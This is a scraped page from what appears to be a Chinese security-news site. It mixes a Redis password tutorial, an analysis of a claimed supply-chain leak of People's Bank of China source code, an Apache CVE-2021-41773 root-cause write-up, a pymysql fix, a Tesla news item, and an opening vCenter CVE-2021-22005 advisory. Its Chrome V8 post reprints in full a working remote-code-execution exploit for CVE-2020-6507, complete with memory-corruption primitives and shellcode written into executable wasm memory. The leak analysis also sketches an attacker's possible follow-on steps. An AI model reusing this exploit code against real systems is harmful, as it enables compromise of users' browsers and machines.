业界快讯第5页

Redis设置密码

设置密码有两种方式。

1. 命令行设置密码。

运行cmd切换到redis根目录，先启动服务端

>redis-server.exe

另开一个cmd切换到redis根目录，启动客户端

>redis-cli.exe -h 127.0.0.1 -p 6379

客户端使用config get requirepass命令查看密码

>config get requirepass
1)"requirepass"
2)""    //默认空

客户端使用config set requirepass yourpassword命令设置密码

>config set requirepass 123456
>OK

一旦设置密码，必须先验证通过密码，否则所有操作不可用

>config get requirepass
(error)NOAUTH Authentication required

使用auth password验证密码

>auth 123456
>OK
>config get requirepass
1)"requirepass"
2)"123456"

也可以退出重新登录

redis-cli.exe -h 127.0.0.1 -p 6379 -a 123456

命令行设置的密码在服务重启后失效，所以一般不使用这种方式。

2. 配置文件设置密码

在redis根目录下找到redis.windows.conf配置文件，搜索requirepass，找到注释密码行，添加密码如下：

# requirepass foobared
requirepass tenny     //注意，行前不能有空格

重启服务后，客户端重新登录后发现

>config get requirepass
1)"requirepass"
2)""

密码还是空？

网上查询后的办法：创建redis-server.exe 的快捷方式，右键快捷方式属性，在目标后面增加redis.windows.conf，这里就是关键，你虽然修改了.conf文件，但是exe却没有使用这个conf，所以我们需要手动指定一下exe按照修改后的conf运行，就OK了。

所以，这里我再一次重启redis服务(指定配置文件)

>redis-server.exe redis.windows.conf

客户端再重新登录，OK了。

>redis-cli.exe -h 127.0.0.1 -p 6379 -a 123456
>config get requirepass
1)"requirepass"
2)"123456"

疑问: redis目录下有两个配置文件redis.windows.conf和redis.windows-server.conf，看到网上有的人用前者有的人用后者，不清楚到底该用哪一个。看了下两个文件又没啥区别，个人就用前者了。

今天到处在流传这张图

朋友跑来问我，是不是中国人民银行被黑客入侵了？这里先给结论：

中国人民银行没有被入侵，这是供应链攻击！
中国人民银行没有被入侵，这是供应链攻击！
中国人民银行没有被入侵，这是供应链攻击！

ok，接下来分析下这到底是件什么事。

0x1 先看原文
0x2 是哪一家供应商被入侵了？
0x3 被忽略的评论信息
0x4 进一步分析

0x1 先看原文

这篇文章来自于国外 RAIDForum 论坛，名为 AgainstTheWest 的用户（简称ATW）在10月14日发的帖子

我简单进行翻译

来自ATW的问候：

我们花了两个月的时间，终于能有权访问到中国人民银行的内部资产。
本次泄露的信息包含了中国人民银行所有软件项目的源代码，以及漏洞信息、代码smells和debts、以及安全报告。

我们使用了供应链攻击，目前正处于潜伏状态。因此，对中国人民银行用来进行私有化软硬件代码协作的网络，我们可以保持持续访问。

通过本次入侵，我们收集到了以下信息：
- 自动化办公信创产品-用于帮助国有资产开发和设计安全措施的软件
- 长春人民银行大数据系统
- 产品服务器收集平台-大数据系统之间的链接服务器&信创OA
- ETL 平台服务端
- ETL 平台代理
- 江苏省法人金融机构风险监测系统
- 长沙人民银行国库大数据管理系统
- EAST 数据质量管理系统
- Db2ImportTool  （2021年10月）

需要通过 BTC或者ETH 支付，下面是一些证据。

这里有几张截图：

1、自动化办公信创产品

2、长春人民银行大数据系统

3、长沙人民银行国库大数据管理系统

总结一下，这里面的两个关键词：

源码：标题和原文中一直强调的是源码泄露，而非网络被入侵。
供应链：攻击者承认是通过供应链攻击拿到的源码。

那么，从中能推断出是哪一家供应链厂商吗？

0x2 是哪一家供应商被入侵了？

其实前面攻击者给出了这么多信息，找到被入侵厂家并不难。

直接搜索泄露信息的系统名称 + “中标”，第一个链接就能找到中标厂商。

再去招投标专用网站，反查一下“北京青麦科技有限公司”，结果反向证明了正确性：

看看“北京青麦科技有限公司”的产品列表：

红色部分与ATW给出的系统清单能对应上。

EAST系统介绍
EAST系统全称Examination and Analysis System Technology，是银监会在2008年开发的具有自主知识产权的检查分析系统，旨在顺应大数据发展趋势需求，并帮助监管部门提高检查效能。系统包含银行标准化数据提取、现场检查项目管理、数据模型生成工具、数据模型发布与管理等功能模块。

同时，该公司典型案例中也包括了中国人民银行。

基于以上信息，基本可以推测是该厂商被ATW花了2个月入侵成功，拿到了为中国人民银行开发的一些系统源码。

0x3 被忽略的评论信息

从目前的信息来看，只能证明是供应链攻击，并未入侵到人民银行内部网络。

那么，危害仅此而已吗？

当有人问道，是否有数据泄露，攻击者在下面答复到：

“大数据系统”中硬编码了管理员凭证，可以用来连接存储了用户敏感信息的管理服务端，我只能说到这里了。

攻击者提到了两个大数据系统：

产品服务器收集平台-大数据系统之间的链接服务器&信创OA
长沙人民银行国库大数据管理系统

假设是第二个系统，会不会有互联网通路可以访问到呢？目前不得而知。

0x4 进一步分析

针对供应链厂家被入侵，从“横向”和“纵向”两方面来做进一步分析。

纵向来看，攻击者针对“中国人民银行”还能做哪些事情？

源码审计。找出应用系统存在的漏洞、泄露的凭证信息，为进一步渗透做准备。
内外勾结。通过社工方式买通具备敏感系统访问权限的人员，例如外包公司。
供应链污染。在源码里面放置后门，等待部署上线。

横向来看，该公司的客户众多，攻击者可以：

捡软柿子入手。找到安全防护能力偏弱的银行，进入其办公网络。比如下图的“办公系统”，很可能未作物理隔离。
迂回到核心。在软柿子内部进一步渗透，找到专有网络的入口点，攻击核心。

综上，目前需要紧急动员起来开展自查的，可能是一些中小银行。作为央妈，经过多轮的实战攻防，网络隔离+物理隔离，理论上攻击难度会非常大。

时间有限，以上仅为简单分析，欢迎讨论。

Apache HTTP Server路径穿越漏洞 (CVE-2021-41773)

2021-10-07微慑管理员阅读(2181)

漏洞概述

2021年10月5日，Apache官方发布了一批漏洞信息，其中Apache HTTP Server路径穿越漏洞CVE-2021-41773引起了我们的注意：

CVE-2021-41773

https://httpd.apache.org/security/vulnerabilities_24.html

漏洞在v2.4.50版本中进行了修复，并且只影响该版本。从Apache官方声明来看，攻击者可以使用路径遍历攻击将URL映射到预期文档根以外的文件。如果文档根目录以外的文件不受`require all denied`保护，则攻击者可以访问这些文件。

漏洞分析

下面着手分析一下这个漏洞的成因，直接看源代码可能很难找到漏洞位置，这里通过二进制补丁对比来找到关键函数，可以看到发生变化的函数不多，就下面几个：

容易定位到函数`ap_normalize_path`，其增加了一段判断：

补丁前的代码：

补丁后的代码（增加了对`%2e`进行了处理）：

看反汇编有点晕，直接定位到源代码就非常清楚了，在老版本中只处理了`/xx/../`这样的路径，而没有正确处理`/xx/.%2e/`，导致`%2e`被带入后续的处理，发生目录穿越。

v2.4.49版本的源代码：

v2.4.50版本中新增的代码：

漏洞复现

理解漏洞原理之后，复现漏洞就很简单了。

后记

这个漏洞是一个非常典型的目录穿越漏洞，发生在Apache这样应用广泛的服务端软件中实在令人匪夷所思。因此我们继续看了httpd更早期的版本，发现在早期版本中并没有`ap_normalize_path`这个函数，该函数是在v2.4.49版本中引入的。该案例告诉我们：新功能的引入可能会带来不确定的安全隐患。

参考

https://httpd.apache.org/security/vulnerabilities_24.html

https://dlcdn.apache.org/httpd/CHANGES_2.4.50

pymysql 报错：from . import connections # noqa: E402

2021-09-29微慑管理员阅读(1709)

报错内容，所在文件

/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/peewee.py

try:
    import MySQLdb as mysql  # prefer the C module.
except ImportError:
    try:
        import pymysql as mysql
    except ImportError:
        mysql = None
1
2
3
4
5
6
7
8

venv/lib/python3.6/site-packages/pymysql/init.py

from . import connections as _orig_conn
1
2

原因

使用的python版本为3.5
Flask-MySQL使用了peewee；Flask-MySQL 会安装PyMySQL的最新版
peewee使用 MySQLdb 或 pymysql 来连接MySQL数据库
PyMySQL的最新版，不支持Python 2.7 和 3.5版本了（而我使用的是3.5版本），所以peewee报错

解决

不使用 Flask-MySQL 安装的PyMySQL最新版，指定PyMySQL版本为0.10.1，sudo pip3 install pymysql==0.10.1

资料

转载至https://www.cnblogs.com/cag2050/p/14267900.html

特斯拉CEO：所有中国用户个人信息都安全储存在中国

2021-09-27微慑管理员阅读(1206)

据中国青年网浙江乌镇2021年9月26日报道，由国家网信办和浙江省政府共同举办的2021年世界互联网大会乌镇峰会今天上午在浙江乌镇召开。特斯拉公司首席执行官伊隆·马斯克在主题演讲发言时指出，特斯拉已在中国建立数据中心，所有中国用户个人信息都安全储存在中国。

伊隆·马斯克表示，数据安全是智联网汽车成功的关键。它不仅与个人利益密切相关，同时也和整个社会利益息息相关，特斯拉认同相关法律法规出台加强数据管理。

伊隆·马斯克介绍，目前，特斯拉已经在中国建立了数据中心，用来存储中国用户的所有数据，包括生产、销售、服务、充电数据等，以及所有个人信息都安全储存在中国国内，不会转移到海外。只有在需要从海外订购备件等极为罕见的情况下，个人数据才会在获得相关批准后进行转移。

伊隆·马斯克说，数据保护应该由整个行业共同努力来完成，特斯拉正与监管机构通力合作，寻找数据安全的最佳解决方案。

本文源自：中国青年网，作者：董志成

Google Chrome 81.0.4044 V8 - Remote Code Execution

2021-09-27微慑管理员阅读(1795)

# Exploit Title: Google Chrome 81.0.4044 V8 - Remote Code Execution
# Date: 05/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64 
# Version: 83.0.4103.106
# Description: Out of bounds write in V8 in Google Chrome prior to 83.0.4103.106 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-6507


*********************************************************************************************************


var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

var arraybuf = new ArrayBuffer(0x13373);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]);
var mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(mod);
var shell = wasm_instance.exports.shell;
var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337];

var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 106, 99, 72, 184, 98, 105, 110, 47, 120, 99, 97, 108, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 44, 98, 1, 46, 116, 114, 115, 46, 72, 49, 4, 36, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 49, 246, 86, 106, 19, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5, 0]);

function ftoi(val) {
         f64_buf[0] = val;
         return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
         u64_buf[0] = Number(val & 0xffffffffn);
         u64_buf[1] = Number(val >> 32n);
         return f64_buf[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];

var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]];
function searchmem(value)
{
	skip = 0;
	for(i=0; i<search_space.length; ++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if(((ftoi(corrupted_array[j])) >> 32n) === value || (((ftoi(corrupted_array[j])) & 0xffffffffn) === value))
			{
				if(skip++ == 2) // Probably the first two are due to the search itself
					return j;
			}
		}
	}
	return -1;
}

function searchmem_full(value)
{
	for(i=0;i<search_space.length;++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if((ftoi(corrupted_array[j]) === value))
			{
				if((((ftoi(corrupted_array[j+2]) >> 56n) & 0xffn) == 8n) && (((ftoi(corrupted_array[j+2]) >> 24n) & 0xffn) == 8n))
				{
					return j;
				}
			}
		}
	}
	return -1;
}

var arraybuf_idx = searchmem(0x13373n);
if(arraybuf_idx == -1)
{
	alert('Failed 1');
	throw new Error("Not found");
}
document.write("Found arraybuf at idx: " + arraybuf_idx + "<br>");
function arb_read(addr, length)
{
	var data = [];
	let u8_arraybuf = new Uint8Array(arraybuf);
	corrupted_array[arraybuf_idx+1] = itof(addr);
	for(i=0;i<length;++i)
		data.push(u8_arraybuf[i]);
	return data;
}

function arb_write(addr, data)
{
	corrupted_array[arraybuf_idx+1] = itof(addr);
	let u8_arraybuf = new Uint8Array(arraybuf);
	for(i=0;i<data.length;++i)
		u8_arraybuf[i] = data[i];
}

idx = searchmem_full((1337332n << 33n) + (1337331n << 1n));
if (idx == -1)
{
	alert('Failed 2');
	throw new Error("Not found");
}

wasm_addr = ftoi(corrupted_array[idx+2]) & 0xffffffffn;
document.write("Wasm instance: 0x"+wasm_addr.toString(16) + "<br>");
rwx_idx = Number((wasm_addr-1n+0x68n)/8n);
rwx_addr = ftoi(corrupted_array[rwx_idx-1]);
if ((wasm_addr & 0xfn) == 5n || (wasm_addr & 0xfn) == 0xdn)
{
	rwx_addr >>= 32n;
	rwx_addr += (ftoi(corrupted_array[rwx_idx]) & 0xffffffffn) << 32n;
}
document.write("rwx addr: 0x"+rwx_addr.toString(16));
arb_write(rwx_addr, shellcode);
shell();

【 CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞 -附检测脚本

2021-09-24微慑管理员阅读(3132)

0x01 漏洞简介：

VMware vCenter Server 提供了一个可伸缩、可扩展的平台，为虚拟化管理奠定了基础。可集中管理VMware vSphere环境，与其他管理平台相比，极大地提高了 IT 管理员对虚拟环境的控制。

0x02 漏洞来源：

https://www.vmware.com/security/advisories/VMSA-2021-0020.html

0x03 漏洞等级:

高危

0x04 漏洞影响:

攻击者可通过VMware vCenter Server 443端口上传恶意文件，在vCenter Server上执行任意代码。

0x05 影响范围：

根据ZoomEye网络空间搜索引擎对潜在可能目标进行搜索，共得到7,034条IP历史记录，主要分布在美国、中国等国家。

ZoomEye语法：

app:"VMware vCenter"